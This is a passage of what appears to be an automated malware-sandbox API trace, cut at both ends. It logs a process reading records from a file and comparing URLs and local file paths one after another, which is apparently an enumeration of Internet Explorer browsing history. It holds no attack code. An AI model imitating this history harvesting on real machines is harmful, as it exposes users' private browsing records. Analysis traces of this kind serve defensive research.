(_String1="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.989] wcslen (_String="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 0x3d [0068.989] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5580 [0068.989] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.989] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.989] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5580 [0068.989] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.989] _strlwr (in: _Str="http://go.microsoft.com/fwlink/" | out: _Str="http://go.microsoft.com/fwlink/") returned="http://go.microsoft.com/fwlink/" [0068.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="http://go.microsoft.com/fwlink/") returned 32 [0068.989] wcscmp (_String1="http://go.microsoft.com/fwlink/", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.989] wcscmp (_String1="http://go.microsoft.com/fwlink/", _String2="http://www.msn.com/") returned -1 [0068.989] wcscmp (_String1="http://go.microsoft.com/fwlink/", _String2="https://www.google.de/") returned -1 [0068.989] wcscmp (_String1="http://go.microsoft.com/fwlink/", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.989] wcslen (_String="http://go.microsoft.com/fwlink/") returned 0x1f [0068.989] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5680 [0068.989] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.989] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.989] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5680 [0068.989] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x180, lpOverlapped=0x0) returned 1 [0068.989] _strlwr (in: _Str="https://support.microsoft.com/en-us/products/internet-explorer" | out: _Str="https://support.microsoft.com/en-us/products/internet-explorer") returned="https://support.microsoft.com/en-us/products/internet-explorer" [0068.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="https://support.microsoft.com/en-us/products/internet-explorer") returned 63 [0068.989] wcscmp (_String1="https://support.microsoft.com/en-us/products/internet-explorer", _String2="http://go.microsoft.com/fwlink/") returned 1 [0068.989] wcscmp (_String1="https://support.microsoft.com/en-us/products/internet-explorer", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0068.989] wcscmp (_String1="https://support.microsoft.com/en-us/products/internet-explorer", _String2="http://www.msn.com/") returned 1 [0068.989] wcscmp (_String1="https://support.microsoft.com/en-us/products/internet-explorer", _String2="https://www.google.de/") returned -1 [0068.989] wcscmp (_String1="https://support.microsoft.com/en-us/products/internet-explorer", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.989] wcslen (_String="https://support.microsoft.com/en-us/products/internet-explorer") returned 0x3e [0068.989] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800 [0068.989] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.989] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.989] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800 [0068.990] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.990] _strlwr (in: _Str="https://ieonline.microsoft.com/favicon.ico" | out: _Str="https://ieonline.microsoft.com/favicon.ico") returned="https://ieonline.microsoft.com/favicon.ico" [0068.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="https://ieonline.microsoft.com/favicon.ico") returned 43 [0068.990] wcscmp (_String1="https://ieonline.microsoft.com/favicon.ico", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.990] wcscmp (_String1="https://ieonline.microsoft.com/favicon.ico", _String2="http://go.microsoft.com/fwlink/") returned 1 [0068.990] wcscmp (_String1="https://ieonline.microsoft.com/favicon.ico", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0068.990] wcscmp (_String1="https://ieonline.microsoft.com/favicon.ico", _String2="http://www.msn.com/") returned 1 [0068.990] wcscmp (_String1="https://ieonline.microsoft.com/favicon.ico", _String2="https://www.google.de/") returned -1 [0068.990] wcscmp (_String1="https://ieonline.microsoft.com/favicon.ico", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.990] wcslen (_String="https://ieonline.microsoft.com/favicon.ico") returned 0x2a [0068.990] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900 [0068.990] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.990] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.990] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900 [0068.990] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.990] _strlwr (in: _Str="https://support.microsoft.com/internet-explorer" | out: _Str="https://support.microsoft.com/internet-explorer") returned="https://support.microsoft.com/internet-explorer" [0068.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="https://support.microsoft.com/internet-explorer") returned 48 [0068.990] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="https://ieonline.microsoft.com/favicon.ico") returned 1 [0068.990] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned 1 [0068.990] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="http://go.microsoft.com/fwlink/") returned 1 [0068.990] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0068.990] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="http://www.msn.com/") returned 1 [0068.990] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="https://www.google.de/") returned -1 [0068.990] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.990] wcslen (_String="https://support.microsoft.com/internet-explorer") returned 0x2f [0068.990] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00 [0068.990] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.990] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.990] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00 [0068.990] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.990] _strlwr (in: _Str="https://support.microsoft.com/products/internet-explorer" | out: _Str="https://support.microsoft.com/products/internet-explorer") returned="https://support.microsoft.com/products/internet-explorer" [0068.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="https://support.microsoft.com/products/internet-explorer") returned 57 [0068.990] wcscmp (_String1="https://support.microsoft.com/products/internet-explorer", _String2="https://support.microsoft.com/internet-explorer") returned 1 [0068.990] wcscmp (_String1="https://support.microsoft.com/products/internet-explorer", _String2="https://ieonline.microsoft.com/favicon.ico") returned 1 [0068.990] wcscmp (_String1="https://support.microsoft.com/products/internet-explorer", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned 1 [0068.990] wcscmp (_String1="https://support.microsoft.com/products/internet-explorer", _String2="http://go.microsoft.com/fwlink/") returned 1 [0068.990] wcscmp (_String1="https://support.microsoft.com/products/internet-explorer", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0068.991] wcscmp (_String1="https://support.microsoft.com/products/internet-explorer", _String2="http://www.msn.com/") returned 1 [0068.991] wcscmp (_String1="https://support.microsoft.com/products/internet-explorer", _String2="https://www.google.de/") returned -1 [0068.991] wcscmp (_String1="https://support.microsoft.com/products/internet-explorer", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.991] wcslen (_String="https://support.microsoft.com/products/internet-explorer") returned 0x38 [0068.991] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00 [0068.991] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.991] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.991] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00 [0068.991] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.991] _strlwr (in: _Str="http://www.google.de/" | out: _Str="http://www.google.de/") returned="http://www.google.de/" [0068.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="http://www.google.de/") returned 22 [0068.991] wcscmp (_String1="http://www.google.de/", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.991] wcscmp (_String1="http://www.google.de/", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.991] wcscmp (_String1="http://www.google.de/", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.991] wcscmp (_String1="http://www.google.de/", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.991] wcscmp (_String1="http://www.google.de/", _String2="http://go.microsoft.com/fwlink/") returned 1 [0068.991] wcscmp (_String1="http://www.google.de/", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0068.991] wcscmp (_String1="http://www.google.de/", _String2="http://www.msn.com/") returned -1 [0068.991] wcscmp (_String1="http://www.google.de/", _String2="https://www.google.de/") returned -1 [0068.991] wcscmp (_String1="http://www.google.de/", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.991] wcslen (_String="http://www.google.de/") returned 0x15 [0068.991] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0068.991] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.991] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.991] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0068.991] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.991] _strlwr (in: _Str="http://go.microsoft.com/fwlink/" | out: _Str="http://go.microsoft.com/fwlink/") returned="http://go.microsoft.com/fwlink/" [0068.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="http://go.microsoft.com/fwlink/") returned 32 [0068.992] wcscmp (_String1="http://go.microsoft.com/fwlink/", _String2="http://www.google.de/") returned -1 [0068.992] wcscmp (_String1="http://go.microsoft.com/fwlink/", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.992] wcscmp (_String1="http://go.microsoft.com/fwlink/", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.992] wcscmp (_String1="http://go.microsoft.com/fwlink/", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.992] wcscmp (_String1="http://go.microsoft.com/fwlink/", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.992] wcscmp (_String1="http://go.microsoft.com/fwlink/", _String2="http://go.microsoft.com/fwlink/") returned 0 [0068.992] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00 [0068.992] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.992] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.992] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00 [0068.992] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.992] _strlwr (in: _Str="http://www.google.de/" | out: _Str="http://www.google.de/") returned="http://www.google.de/" [0068.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="http://www.google.de/") returned 22 [0068.992] wcscmp (_String1="http://www.google.de/", _String2="http://www.google.de/") returned 0 [0068.992] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00 [0068.992] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.992] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.992] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00 [0068.992] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x180, lpOverlapped=0x0) returned 1 [0068.992] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/" [0068.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="https://www.google.de/") returned 23 [0068.992] wcscmp (_String1="https://www.google.de/", _String2="http://www.google.de/") returned 1 [0068.992] wcscmp (_String1="https://www.google.de/", _String2="https://support.microsoft.com/products/internet-explorer") returned 1 [0068.992] wcscmp (_String1="https://www.google.de/", _String2="https://support.microsoft.com/internet-explorer") returned 1 [0068.992] wcscmp (_String1="https://www.google.de/", _String2="https://ieonline.microsoft.com/favicon.ico") returned 1 [0068.992] wcscmp (_String1="https://www.google.de/", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned 1 [0068.992] wcscmp (_String1="https://www.google.de/", _String2="http://go.microsoft.com/fwlink/") returned 1 [0068.992] wcscmp (_String1="https://www.google.de/", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0068.992] wcscmp (_String1="https://www.google.de/", _String2="http://www.msn.com/") returned 1 [0068.992] wcscmp (_String1="https://www.google.de/", _String2="https://www.google.de/") returned 0 [0068.992] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80 [0068.993] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.993] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.993] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80 [0068.993] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x180, lpOverlapped=0x0) returned 1 [0068.993] _strlwr (in: _Str="https:URL \x02" | out: _Str="https:url \x02") returned="https:url \x02" [0068.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="https:url \x02") returned 12 [0068.993] wcscmp (_String1="https:url \x02", _String2="http://www.google.de/") returned 1 [0068.993] wcscmp (_String1="https:url \x02", _String2="https://support.microsoft.com/products/internet-explorer") returned 1 [0068.993] wcscmp (_String1="https:url \x02", _String2="https://support.microsoft.com/internet-explorer") returned 1 [0068.993] wcscmp (_String1="https:url \x02", _String2="https://ieonline.microsoft.com/favicon.ico") returned 1 [0068.993] wcscmp (_String1="https:url \x02", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned 1 [0068.993] wcscmp (_String1="https:url \x02", _String2="http://go.microsoft.com/fwlink/") returned 1 [0068.993] wcscmp (_String1="https:url \x02", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0068.993] wcscmp (_String1="https:url \x02", _String2="http://www.msn.com/") returned 1 [0068.993] wcscmp (_String1="https:url \x02", _String2="https://www.google.de/") returned 1 [0068.993] wcscmp (_String1="https:url \x02", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.993] wcslen (_String="https:url \x02") returned 0xb [0068.993] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100 [0068.993] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.993] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.993] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100 [0068.993] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.993] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/ke8ik3.png" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png" [0068.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 53 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="https:url \x02") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="http://www.google.de/") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="http://www.msn.com/") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="https://www.google.de/") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.994] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 0x34 [0068.994] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200 [0068.994] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.994] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.994] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200 [0068.994] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.994] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/GSiecs%20ARL59i.pps" | out: _Str="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps" [0068.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 54 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="https:url \x02") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="http://www.google.de/") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="http://www.msn.com/") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="https://www.google.de/") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.994] wcslen (_String="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 0x35 [0068.994] SetFilePointer 